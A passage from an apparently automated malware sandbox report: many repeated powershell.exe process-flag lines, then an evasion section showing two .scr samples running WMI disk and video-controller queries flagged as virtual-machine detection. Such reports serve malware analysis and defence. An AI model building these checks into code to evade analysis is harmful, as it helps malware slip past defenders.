                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

                    Malware Analysis System Evasion

                    barindex
                    Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
                    Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
                    Source: C:\Users\gbcd\qqq.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
